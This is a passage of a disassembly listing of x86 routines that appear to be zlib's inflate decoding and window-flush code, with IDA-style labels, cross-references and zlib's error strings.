XREF: sub_429EB0+19j mov ecx, [ebp+var_C] push ecx call sub_429FE0 push eax mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4332AC mov [ebp+var_4], eax loc_429F4C: ; CODE XREF: sub_429EB0+7Bj mov eax, [ebp+var_4] loc_429F4F: ; CODE XREF: sub_429EB0+42j mov esp, ebp pop ebp retn 0Ch sub_429EB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429F60 proc near ; CODE XREF: sub_42852F+8F3p ; sub_42852F+9C2p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov edx, [ecx] mov [eax], edx mov ecx, [ebp+var_4] call sub_42A070 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_429F60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429F90 proc near ; CODE XREF: sub_429D40+47p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+arg_4] and edx, 0FFh test edx, edx jz short loc_429FB4 mov ecx, [ebp+var_4] call sub_42A070 loc_429FB4: ; CODE XREF: sub_429F90+1Aj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 8 sub_429F90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429FC0 proc near ; CODE XREF: sub_42852F+8D3p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx mov ecx, [ebp+var_4] call sub_42A020 mov esp, ebp pop ebp retn 4 sub_429FC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429FE0 proc near ; CODE XREF: sub_429EB0+5Bp ; sub_429EB0+81p push ebp mov ebp, esp call sub_42A0A0 pop ebp retn sub_429FE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429FF0 proc near ; CODE XREF: sub_429E60+Ap ; sub_429EB0+Cp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short loc_42A00F mov ecx, [ebp+var_4] mov edx, [ecx] mov eax, [ebp+var_4] mov ecx, [eax] mov eax, [ecx] push edx call dword ptr [eax+8] loc_42A00F: ; CODE XREF: sub_429FF0+Dj mov esp, ebp pop ebp retn sub_429FF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A020 proc near ; CODE XREF: sub_429FC0+10p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov ecx, [eax] cmp ecx, [ebp+arg_0] jz short loc_42A05D mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] mov [ecx], edx mov ecx, [ebp+var_8] call sub_42A070 cmp [ebp+var_4], 0 jz short loc_42A05D mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] push edx call dword ptr [ecx+8] loc_42A05D: ; CODE XREF: sub_42A020+11j ; sub_42A020+2Fj mov eax, [ebp+var_8] mov esp, ebp pop ebp retn 4 sub_42A020 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A070 proc near ; CODE XREF: sub_429F60+14p ; sub_429F90+1Fp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short loc_42A08F mov ecx, [ebp+var_4] mov edx, [ecx] mov eax, [ebp+var_4] mov ecx, [eax] mov eax, [ecx] push edx call dword ptr [eax+4] loc_42A08F: ; CODE XREF: sub_42A070+Dj mov esp, ebp pop ebp retn sub_42A070 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A0A0 proc near ; CODE XREF: sub_429FE0+3p push ebp mov ebp, esp mov eax, offset dword_4375F0 pop ebp retn sub_42A0A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A0B0 proc near ; CODE XREF: sub_42A2DE+220p ; sub_42A2DE+39Ep ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] mov ecx, [eax+0Ch] mov [ebp+var_4], ecx mov edx, [ebp+arg_0] mov eax, [edx+30h] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+34h] ja short loc_42A0DE mov eax, [ebp+arg_0] mov ecx, [eax+34h] mov [ebp+var_10], ecx jmp short loc_42A0E7 ; --------------------------------------------------------------------------- loc_42A0DE: ; CODE XREF: sub_42A0B0+21j mov edx, [ebp+arg_0] mov eax, [edx+2Ch] mov [ebp+var_10], eax loc_42A0E7: ; CODE XREF: sub_42A0B0+2Cj mov ecx, [ebp+var_10] sub ecx, [ebp+var_8] mov [ebp+var_C], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_C] cmp eax, [edx+10h] jbe short loc_42A104 mov ecx, [ebp+arg_4] mov edx, [ecx+10h] mov [ebp+var_C], edx loc_42A104: ; CODE XREF: sub_42A0B0+49j cmp [ebp+var_C], 0 jz short loc_42A117 cmp [ebp+arg_8], 0FFFFFFFBh jnz short loc_42A117 mov [ebp+arg_8], 0 loc_42A117: ; CODE XREF: sub_42A0B0+58j ; sub_42A0B0+5Ej mov eax, [ebp+arg_4] mov ecx, [eax+10h] sub ecx, [ebp+var_C] mov edx, [ebp+arg_4] mov [edx+10h], ecx mov eax, [ebp+arg_4] mov ecx, [eax+14h] add ecx, [ebp+var_C] mov edx, [ebp+arg_4] mov [edx+14h], ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+38h], 0 jz short loc_42A168 mov ecx, [ebp+var_C] push ecx mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_0] mov ecx, [eax+3Ch] push ecx mov edx, [ebp+arg_0] call dword ptr [edx+38h] add esp, 0Ch mov ecx, [ebp+arg_0] mov [ecx+3Ch], eax mov edx, [ebp+arg_4] mov eax, [ebp+arg_0] mov ecx, [eax+3Ch] mov [edx+30h], ecx loc_42A168: ; CODE XREF: sub_42A0B0+8Cj cmp [ebp+var_C], 0 jz short loc_42A194 mov edx, [ebp+var_C] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+var_4] push ecx call sub_4318C4 ; memcpy add esp, 0Ch mov edx, [ebp+var_4] add edx, [ebp+var_C] mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax loc_42A194: ; CODE XREF: sub_42A0B0+BCj mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+2Ch] jnz loc_42A270 mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [edx+34h] cmp ecx, [eax+2Ch] jnz short loc_42A1C6 mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [edx+34h], ecx loc_42A1C6: ; CODE XREF: sub_42A0B0+108j mov edx, [ebp+arg_0] mov eax, [edx+34h] sub eax, [ebp+var_8] mov [ebp+var_C], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_C] cmp edx, [ecx+10h] jbe short loc_42A1E6 mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov [ebp+var_C], ecx loc_42A1E6: ; CODE XREF: sub_42A0B0+12Bj cmp [ebp+var_C], 0 jz short loc_42A1F9 cmp [ebp+arg_8], 0FFFFFFFBh jnz short loc_42A1F9 mov [ebp+arg_8], 0 loc_42A1F9: ; CODE XREF: sub_42A0B0+13Aj ; sub_42A0B0+140j mov edx, [ebp+arg_4] mov eax, [edx+10h] sub eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [ecx+10h], eax mov edx, [ebp+arg_4] mov eax, [edx+14h] add eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [ecx+14h], eax mov edx, [ebp+arg_0] cmp dword ptr [edx+38h], 0 jz short loc_42A24A mov eax, [ebp+var_C] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_0] mov eax, [edx+3Ch] push eax mov ecx, [ebp+arg_0] call dword ptr [ecx+38h] add esp, 0Ch mov edx, [ebp+arg_0] mov [edx+3Ch], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] mov edx, [ecx+3Ch] mov [eax+30h], edx loc_42A24A: ; CODE XREF: sub_42A0B0+16Ej mov eax, [ebp+var_C] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_4] push edx call sub_4318C4 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] add eax, [ebp+var_C] mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, [ebp+var_C] mov [ebp+var_8], ecx loc_42A270: ; CODE XREF: sub_42A0B0+EDj mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx+0Ch], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+30h], edx mov eax, [ebp+arg_8] mov esp, ebp pop ebp retn sub_42A0B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A289 proc near ; CODE XREF: sub_42B1FD+1C4p ; sub_42B1FD+FADp var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push 1Ch push 1 mov eax, [ebp+arg_10] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_10] call dword ptr [edx+20h] add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42A2D7 mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dl, [ebp+arg_0] mov [ecx+10h], dl mov eax, [ebp+var_4] mov cl, [ebp+arg_4] mov [eax+11h], cl mov edx, [ebp+var_4] mov eax, [ebp+arg_8] mov [edx+14h], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_C] mov [ecx+18h], edx loc_42A2D7: ; CODE XREF: sub_42A289+1Fj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42A289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A2DE proc near ; CODE XREF: sub_42B1FD+1080p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h mov eax, [ebp+arg_0] mov ecx, [eax+4] mov [ebp+var_10], ecx mov edx, [ebp+arg_4] mov eax, [edx] mov [ebp+var_4], eax mov ecx, [ebp+arg_4] mov edx, [ecx+4] mov [ebp+var_2C], edx mov eax, [ebp+arg_0] mov ecx, [eax+20h] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov [ebp+var_24], eax mov ecx, [ebp+arg_0] mov edx, [ecx+34h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+30h] jnb short loc_42A335 mov edx, [ebp+arg_0] mov eax, [edx+30h] sub eax, [ebp+var_8] sub eax, 1 mov [ebp+var_30], eax jmp short loc_42A341 ; --------------------------------------------------------------------------- loc_42A335: ; CODE XREF: sub_42A2DE+44j mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, [ebp+var_8] mov [ebp+var_30], edx loc_42A341: ; CODE XREF: sub_42A2DE+55j mov eax, [ebp+var_30] mov [ebp+var_28], eax loc_42A347: ; CODE XREF: sub_42A2DE:loc_42B004j mov ecx, [ebp+var_10] mov edx, [ecx] mov [ebp+var_34], edx cmp [ebp+var_34], 9 ja loc_42AFA5 mov eax, [ebp+var_34] jmp off_42B00D[eax*4] loc_42A363: ; DATA XREF: TEUm:off_42B00Do cmp [ebp+var_28], 102h jb loc_42A469 cmp [ebp+var_2C], 0Ah jb loc_42A469 mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_10] mov ecx, [eax+18h] push ecx mov edx, [ebp+var_10] mov eax, [edx+14h] push eax mov ecx, [ebp+var_10] xor edx, edx mov dl, [ecx+11h] push edx mov eax, [ebp+var_10] xor ecx, ecx mov cl, [eax+10h] push ecx call sub_42D0E6 add esp, 18h mov [ebp+arg_8], eax mov edx, [ebp+arg_4] mov eax, [edx] mov [ebp+var_4], eax mov ecx, [ebp+arg_4] mov edx, [ecx+4] mov [ebp+var_2C], edx mov eax, [ebp+arg_0] mov ecx, [eax+20h] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov [ebp+var_24], eax mov ecx, [ebp+arg_0] mov edx, [ecx+34h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+30h] jnb short loc_42A437 mov edx, [ebp+arg_0] mov eax, [edx+30h] sub eax, [ebp+var_8] sub eax, 1 mov [ebp+var_38], eax jmp short loc_42A443 ; --------------------------------------------------------------------------- loc_42A437: ; CODE XREF: sub_42A2DE+146j mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, [ebp+var_8] mov [ebp+var_38], edx loc_42A443: ; CODE XREF: sub_42A2DE+157j mov eax, [ebp+var_38] mov [ebp+var_28], eax cmp [ebp+arg_8], 0 jz short loc_42A469 mov ecx, [ebp+arg_8] sub ecx, 1 neg ecx sbb ecx, ecx and ecx, 2 add ecx, 7 mov edx, [ebp+var_10] mov [edx], ecx jmp loc_42B004 ; --------------------------------------------------------------------------- loc_42A469: ; CODE XREF: sub_42A2DE+8Cj ; sub_42A2DE+96j ... mov eax, [ebp+var_10] xor ecx, ecx mov cl, [eax+10h] mov edx, [ebp+var_10] mov [edx+0Ch], ecx mov eax, [ebp+var_10] mov ecx, [ebp+var_10] mov edx, [ecx+14h] mov [eax+8], edx mov eax, [ebp+var_10] mov dword ptr [eax], 1 loc_42A48C: ; CODE XREF: sub_42A2DE+7Ej ; DATA XREF: TEUm:0042B011o mov ecx, [ebp+var_10] mov edx, [ecx+0Ch] mov [ebp+var_20], edx loc_42A495: ; CODE XREF: sub_42A2DE+25Cj mov eax, [ebp+var_24] cmp eax, [ebp+var_20] jnb loc_42A53F cmp [ebp+var_2C], 0 jz short loc_42A4B0 mov [ebp+arg_8], 0 jmp short loc_42A50B ; --------------------------------------------------------------------------- loc_42A4B0: ; CODE XREF: sub_42A2DE+1C7j mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A0B0 add esp, 0Ch jmp loc_42B009 ; --------------------------------------------------------------------------- loc_42A50B: ; CODE XREF: sub_42A2DE+1D0j mov ecx, [ebp+var_2C] sub ecx, 1 mov [ebp+var_2C], ecx mov edx, [ebp+var_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_24] shl eax, cl mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_24] add eax, 8 mov [ebp+var_24], eax jmp loc_42A495 ; --------------------------------------------------------------------------- loc_42A53F: ; CODE XREF: sub_42A2DE+1BDj mov ecx, [ebp+var_20] mov edx, [ebp+var_C] and edx, dword_4332F8[ecx*4] mov eax, [ebp+var_10] mov ecx, [eax+8] lea edx, [ecx+edx*8] mov [ebp+var_14], edx mov eax, [ebp+var_14] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_C] shr edx, cl mov [ebp+var_C], edx mov eax, [ebp+var_14] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_24] sub edx, ecx mov [ebp+var_24], edx mov eax, [ebp+var_14] xor ecx, ecx mov cl, [eax] mov [ebp+var_18], ecx cmp [ebp+var_18], 0 jnz short loc_42A5A2 mov edx, [ebp+var_10] mov eax, [ebp+var_14] mov ecx, [eax+4] mov [edx+8], ecx mov edx, [ebp+var_10] mov dword ptr [edx], 6 jmp loc_42B004 ; --------------------------------------------------------------------------- loc_42A5A2: ; CODE XREF: sub_42A2DE+2A8j mov eax, [ebp+var_18] and eax, 10h test eax, eax jz short loc_42A5D2 mov ecx, [ebp+var_18] and ecx, 0Fh mov edx, [ebp+var_10] mov [edx+8], ecx mov eax, [ebp+var_10] mov ecx, [ebp+var_14] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_10] mov dword ptr [eax], 2 jmp loc_42B004 ; --------------------------------------------------------------------------- loc_42A5D2: ; CODE XREF: sub_42A2DE+2CCj mov ecx, [ebp+var_18] and ecx, 40h test ecx, ecx jnz short loc_42A5FC mov edx, [ebp+var_10] mov eax, [ebp+var_18] mov [edx+0Ch], eax mov ecx, [ebp+var_14] mov edx, [ecx+4] mov eax, [ebp+var_14] lea ecx, [eax+edx*8] mov edx, [ebp+var_10] mov [edx+8], ecx jmp loc_42B004 ; --------------------------------------------------------------------------- loc_42A5FC: ; CODE XREF: sub_42A2DE+2FCj mov eax, [ebp+var_18] and eax, 20h test eax, eax jz short loc_42A614 mov ecx, [ebp+var_10] mov dword ptr [ecx], 7 jmp loc_42B004 ; --------------------------------------------------------------------------- loc_42A614: ; CODE XREF: sub_42A2DE+326j mov edx, [ebp+var_10] mov dword ptr [edx], 9 mov eax, [ebp+arg_4] mov dword ptr [eax+18h], offset aInvalidLiteral ; "invalid literal/length code" mov [ebp+arg_8], 0FFFFFFFDh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A0B0 add esp, 0Ch jmp loc_42B009 ; --------------------------------------------------------------------------- loc_42A689: ; CODE XREF: sub_42A2DE+7Ej ; DATA XREF: TEUm:0042B015o mov ecx, [ebp+var_10] mov edx, [ecx+8] mov [ebp+var_20], edx loc_42A692: ; CODE XREF: sub_42A2DE+459j mov eax, [ebp+var_24] cmp eax, [ebp+var_20] jnb loc_42A73C cmp [ebp+var_2C], 0 jz short loc_42A6AD mov [ebp+arg_8], 0 jmp short loc_42A708 ; --------------------------------------------------------------------------- loc_42A6AD: ; CODE XREF: sub_42A2DE+3C4j mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A0B0 add esp, 0Ch jmp loc_42B009 ; --------------------------------------------------------------------------- loc_42A708: ; CODE XREF: sub_42A2DE+3CDj mov ecx, [ebp+var_2C] sub ecx, 1 mov [ebp+var_2C], ecx mov edx, [ebp+var_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_24] shl eax, cl mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_24] add eax, 8 mov [ebp+var_24], eax jmp loc_42A692 ; --------------------------------------------------------------------------- loc_42A73C: ; CODE XREF: sub_42A2DE+3BAj mov ecx, [ebp+var_20] mov edx, [ebp+var_C] and edx, dword_4332F8[ecx*4] mov eax, [ebp+var_10] mov ecx, [eax+4] add ecx, edx mov edx, [ebp+var_10] mov [edx+4], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_20] shr eax, cl mov [ebp+var_C], eax mov ecx, [ebp+var_24] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx mov edx, [ebp+var_10] xor eax, eax mov al, [edx+11h] mov ecx, [ebp+var_10] mov [ecx+0Ch], eax mov edx, [ebp+var_10] mov eax, [ebp+var_10] mov ecx, [eax+18h] mov [edx+8], ecx mov edx, [ebp+var_10] mov dword ptr [edx], 3 loc_42A78E: ; CODE XREF: sub_42A2DE+7Ej ; DATA XREF: TEUm:0042B019o mov eax, [ebp+var_10] mov ecx, [eax+0Ch] mov [ebp+var_20], ecx loc_42A797: ; CODE XREF: sub_42A2DE+55Ej mov edx, [ebp+var_24] cmp edx, [ebp+var_20] jnb loc_42A841 cmp [ebp+var_2C], 0 jz short loc_42A7B2 mov [ebp+arg_8], 0 jmp short loc_42A80D ; --------------------------------------------------------------------------- loc_42A7B2: ; CODE XREF: sub_42A2DE+4C9j mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_24] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_2C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42A0B0 add esp, 0Ch jmp loc_42B009 ; --------------------------------------------------------------------------- loc_42A80D: ; CODE XREF: sub_42A2DE+4D2j mov eax, [ebp+var_2C] sub eax, 1 mov [ebp+var_2C], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, [ebp+var_24] shl edx, cl mov eax, [ebp+var_C] or eax, edx mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_24] add edx, 8 mov [ebp+var_24], edx jmp loc_42A797 ; --------------------------------------------------------------------------- loc_42A841: ; CODE XREF: sub_42A2DE+4BFj mov eax, [ebp+var_20] mov ecx, [ebp+var_C] and ecx, dword_4332F8[eax*4] mov edx, [ebp+var_10] mov eax, [edx+8] lea ecx, [eax+ecx*8] mov [ebp+var_14], ecx mov edx, [ebp+var_14] xor eax, eax mov al, [edx+1] mov ecx, eax mov edx, [ebp+var_C] shr edx, cl mov [ebp+var_C], edx mov eax, [ebp+var_14] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_24] sub edx, ecx mov [ebp+var_24], edx mov eax, [ebp+var_14] xor ecx, ecx mov cl, [eax] mov [ebp+var_18], ecx mov edx, [ebp+var_18] and edx, 10h test edx, edx jz short loc_42A8B6 mov eax, [ebp+var_18] and eax, 0Fh mov ecx, [ebp+var_10] mov [ecx+8], eax mov edx, [ebp+var_10] mov eax, [ebp+var_14] mov ecx, [eax+4] mov [edx+0Ch], ecx mov edx, [ebp+var_10] mov dword ptr [edx], 4 jmp loc_42B004 ; --------------------------------------------------------------------------- loc_42A8B6: ; CODE XREF: sub_42A2DE+5B0j mov eax, [ebp+var_18] and eax, 40h test eax, eax jnz short loc_42A8E0 mov ecx, [ebp+var_10] mov edx, [ebp+var_18] mov [ecx+0Ch], edx mov eax, [ebp+var_14] mov ecx, [eax+4] mov edx, [ebp+var_14] lea eax, [edx+ecx*8] mov ecx, [ebp+var_10] mov [ecx+8], eax jmp loc_42B004 ; --------------------------------------------------------------------------- loc_42A8E0: ; CODE XREF: sub_42A2DE+5E0j mov edx, [ebp+var_10] mov dword ptr [edx], 9 mov eax, [ebp+arg_4] mov dword ptr [eax+18h], offset aInvalidDistanc ; "invalid distance code" mov [ebp+arg_8], 0FFFFFFFDh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A0B0 add esp, 0Ch jmp loc_42B009 ; --------------------------------------------------------------------------- loc_42A955: ; CODE XREF: sub_42A2DE+7Ej ; DATA XREF: TEUm:0042B01Do mov ecx, [ebp+var_10] mov edx, [ecx+8] mov [ebp+var_20], edx loc_42A95E: ; CODE XREF: sub_42A2DE+725j mov eax, [ebp+var_24] cmp eax, [ebp+var_20] jnb loc_42AA08 cmp [ebp+var_2C], 0 jz short loc_42A979 mov [ebp+arg_8], 0 jmp short loc_42A9D4 ; --------------------------------------------------------------------------- loc_42A979: ; CODE XREF: sub_42A2DE+690j mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A0B0 add esp, 0Ch jmp loc_42B009 ; --------------------------------------------------------------------------- loc_42A9D4: ; CODE XREF: sub_42A2DE+699j mov ecx, [ebp+var_2C] sub ecx, 1 mov [ebp+var_2C], ecx mov edx, [ebp+var_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_24] shl eax, cl mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_24] add eax, 8 mov [ebp+var_24], eax jmp loc_42A95E ; --------------------------------------------------------------------------- loc_42AA08: ; CODE XREF: sub_42A2DE+686j mov ecx, 